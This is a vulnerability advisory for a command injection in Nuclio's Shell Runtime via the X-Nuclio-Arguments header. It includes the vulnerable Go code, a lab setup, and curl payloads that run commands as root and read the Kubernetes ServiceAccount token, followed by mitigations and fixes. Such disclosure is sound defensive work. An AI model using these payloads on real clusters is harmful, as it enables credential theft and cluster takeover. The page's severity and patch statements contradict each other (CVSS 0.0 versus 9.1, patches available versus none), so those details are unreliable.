CVE-2026-29042 is a low severity vulnerability with a CVSS score of 0.0. No known exploits currently, and patches are available.
Very low probability of exploitation
EPSS predicts the probability of exploitation in the next 30 days based on real-world threat data, complementing CVSS severity scores with actual risk assessment.
This vulnerability exists in Nuclio's Shell Runtime component, allowing attackers with function invocation permissions to inject malicious commands via HTTP request headers, execute arbitrary code with root privileges in function containers, steal ServiceAccount Tokens with cluster-admin level permissions, and ultimately achieve complete control over the entire Kubernetes cluster. Recommended CWE classification: CWE-78 (OS Command Injection).
Nuclio Shell Runtime processes the X-Nuclio-Arguments HTTP header without validation or escaping, directly concatenating user input into shell commands executed via sh -c. This allows arbitrary command injection, enabling attackers to read sensitive files (including ServiceAccount tokens) and access the Kubernetes API with cluster-level privileges.
The Nuclio Shell Runtime component contains a critical command injection vulnerability in how it processes user-supplied arguments. When a function is invoked via HTTP, the runtime reads the X-Nuclio-Arguments header and directly incorporates its value into shell commands without any validation or sanitization.
Vulnerable Code Location 1: pkg/processor/runtime/shell/runtime.go:289-297
func (s *shell) getCommandArguments(event nuclio.Event) []string {
arguments := event.GetHeaderString(headers.Arguments)
if arguments == "" {
arguments = s.configuration.Arguments
}
return strings.Split(arguments, " ") // No validation performed
}
The function retrieves the X-Nuclio-Arguments header value and splits it by spaces without any validation. Shell metacharacters like ;, |, &&, backticks, and $() are not filtered or escaped.
Vulnerable Code Location 2: pkg/processor/runtime/shell/runtime.go:204-213
if s.commandInPath {
// if the command is an executable, run it as a command with sh -c.
cmd = exec.CommandContext(context, "sh", "-c", strings.Join(command, " "))
} else {
// if the command is a shell script run it with sh(without -c).
cmd = exec.CommandContext(context, "sh", command...)
}
cmd.Stdin = strings.NewReader(string(event.GetBody()))
Please cite this page when referencing data from Strobes VI. Proper attribution helps support our vulnerability intelligence research.
The runtime joins the command array (which includes user-controlled arguments) into a single string and executes it using sh -c. This execution mode interprets shell metacharacters, enabling command injection.
X-Nuclio-Arguments headersh -c with root privilegesPrerequisites:
Step 1: Create Kubernetes Cluster
# Install Kind
curl -Lo ./kind https://kind.sigs.k8s.io/dl/v0.20.0/kind-linux-amd64
chmod +x ./kind
sudo mv ./kind /usr/local/bin/kind
# Create cluster with registry configuration
cat > kind-config.yaml <<EOF
kind: Cluster
apiVersion: kind.x-k8s.io/v1alpha4
nodes:
- role: control-plane
- role: worker
EOF
kind create cluster --name nuclio-test --config kind-config.yaml
Step 2: Setup Local Registry
# Start registry container
docker run -d -p 5000:5000 --name registry --network kind registry:2
docker network connect kind registry
# Configure containerd on worker node
docker exec nuclio-test-worker bash -c 'cat >> /etc/containerd/config.toml << EOF
[plugins."io.containerd.grpc.v1.cri".registry.mirrors."registry:5000"]
endpoint = ["http://registry:5000"]
[plugins."io.containerd.grpc.v1.cri".registry.configs."registry:5000".tls]
insecure_skip_verify = true
EOF'
docker exec nuclio-test-worker systemctl restart containerd
Step 3: Install Nuclio
# Add Helm repository
helm repo add nuclio https://nuclio.github.io/nuclio/charts
helm repo update
# Install Nuclio 1.15.17
helm install nuclio nuclio/nuclio \
--namespace nuclio \
--create-namespace \
--set registry.pushPullUrl=registry:5000
# Wait for pods to be ready
kubectl wait --for=condition=ready pod -l app.kubernetes.io/name=nuclio -n nuclio --timeout=300s
Step 4: Deploy Vulnerable Function
# Create shell script
cat > echo.sh <<'EOF'
#!/bin/sh
echo "Response from shell function"
EOF
chmod +x echo.sh
# Create project
kubectl apply -f - <<EOF
apiVersion: nuclio.io/v1beta1
kind: NuclioProject
metadata:
name: default
namespace: nuclio
spec:
displayName: Default Project
EOF
# Deploy function
nuctl deploy shell-func \
--path echo.sh \
--runtime shell \
--namespace nuclio \
--registry localhost:5000 \
--run-registry registry:5000 \
--project-name default
# Verify deployment
kubectl -n nuclio get pods -l nuclio.io/function-name=shell-func
Test 1: Verify Command Injection
kubectl run -n nuclio exploit-test \
--image=curlimages/curl:latest \
--rm -i --restart=Never -- \
curl -s -X POST \
-H "Content-Type: text/plain" \
-H "x-nuclio-arguments: ; id ; whoami ;" \
-d "test" \
http://nuclio-shell-func:8080
Expected Output:
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
root
Test 2: Extract ServiceAccount Token
kubectl run -n nuclio token-extract \
--image=curlimages/curl:latest \
--rm -i --restart=Never -- \
curl -s -X POST \
-H "Content-Type: text/plain" \
-H "x-nuclio-arguments: ; cat /var/run/secrets/kubernetes.io/serviceaccount/token ;" \
-d "test" \
http://nuclio-shell-func:8080
Expected Output:
eyJhbGciOiJSUzI1NiIsImtpZCI6IldUZFN0d3dod2hSNE8yLWtRZmc0Z0N0UWNtaDMxVDhEVlQyYWRnS3AzbEkifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxODAyMzk4Mzg3...
Test 3: Validate Token Privileges
# Extract token from previous output and test permissions
TOKEN="<extracted-token>"
kubectl auth can-i --list --token="$TOKEN"
Expected Output:
Resources Non-Resource URLs Resource Names Verbs
*.* [] [] [*]
[*] [] [*]
This confirms the token has cluster-admin level permissions.
Test 4: Verify Cluster Access
# Test reading secrets
kubectl auth can-i get secrets --all-namespaces --token="$TOKEN"
# Output: yes
# Test creating pods
kubectl auth can-i create pods --all-namespaces --token="$TOKEN"
# Output: yes
Backtick Injection:
curl -s -X POST \
-H "Content-Type: text/plain" \
-H 'x-nuclio-arguments: `cat /var/run/secrets/kubernetes.io/serviceaccount/token`' \
-d "test" \
http://nuclio-shell-func:8080
$() Syntax Injection:
curl -s -X POST \
-H "Content-Type: text/plain" \
-H 'x-nuclio-arguments: $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)' \
-d "test" \
http://nuclio-shell-func:8080
Both methods successfully extract the token.
This vulnerability enables complete cluster compromise through a multi-stage attack:
Stage 1: Command Injection
Stage 2: Credential Theft
system:serviceaccount:nuclio:defaultStage 3: Privilege Escalation
Confidentiality Impact: High
Integrity Impact: High
Availability Impact: Medium
Scenario 1: Data Breach
Scenario 2: Supply Chain Compromise
Scenario 3: Ransomware Attack
CVSS v3.1 Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L
CVSS Score: 9.1 (Critical)
Justification:
pkg/processor/runtime/shell)The vulnerability exists in all versions that include the Shell Runtime component, as the vulnerable code pattern has been present since the feature's introduction.
No patch is currently available. Users should implement workarounds until an official fix is released.
Option 1: Disable Shell Runtime
Add to Nuclio platform configuration:
platformConfig:
runtimes:
shell:
enabled: false
This completely disables the vulnerable component but breaks existing Shell Runtime functions.
Option 2: Restrict Function Deployment
Limit who can deploy functions using RBAC:
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
name: nuclio-function-deployer
namespace: nuclio
rules:
- apiGroups: ["nuclio.io"]
resources: ["nucliofunctions"]
verbs: ["create", "update", "patch"]
# Only grant to trusted users
Remove default function deployment permissions from untrusted users.
Option 3: Network Isolation
Restrict egress traffic from function pods:
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: nuclio-processor-egress
namespace: nuclio
spec:
podSelector:
matchLabels:
nuclio.io/component: processor
policyTypes:
- Egress
egress:
- to:
- podSelector: {}
ports:
- protocol: TCP
port: 443 # Only allow HTTPS to cluster API
This limits the attacker's ability to exfiltrate data but doesn't prevent the initial exploitation.
Fix 1: Input Validation
Implement strict validation in getCommandArguments:
import "regexp"
var argumentsRegex = regexp.MustCompile(`^[a-zA-Z0-9_\-=., ]+$`)
func (s *shell) getCommandArguments(event nuclio.Event) []string {
arguments := event.GetHeaderString(headers.Arguments)
if arguments == "" {
arguments = s.configuration.Arguments
}
if !argumentsRegex.MatchString(arguments) {
s.Logger.ErrorWith("Invalid arguments: contains unsafe characters")
return []string{}
}
return strings.Split(arguments, " ")
}
Fix 2: Remove sh -c Execution
Use parameterized command execution:
func (s *shell) processEvent(context context.Context,
command []string,
event nuclio.Event,
responseChan chan nuclio.Response) {
var cmd *exec.Cmd
if len(command) > 0 {
cmd = exec.CommandContext(context, command[0], command[1:]...)
} else {
// Handle error
return
}
cmd.Stdin = strings.NewReader(string(event.GetBody()))
// ... rest of code
}
Fix 3: Limit ServiceAccount Permissions
Create restricted ServiceAccount for function pods:
apiVersion: v1
kind: ServiceAccount
metadata:
name: nuclio-function-sa
namespace: nuclio
---
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
name: nuclio-function-role
namespace: nuclio
rules:
- apiGroups: [""]
resources: ["configmaps"]
verbs: ["get", "list"]
# Do not grant secrets or cross-namespace access
credit for: @b0b0haha ([email protected]) @j311yl0v3u ([email protected])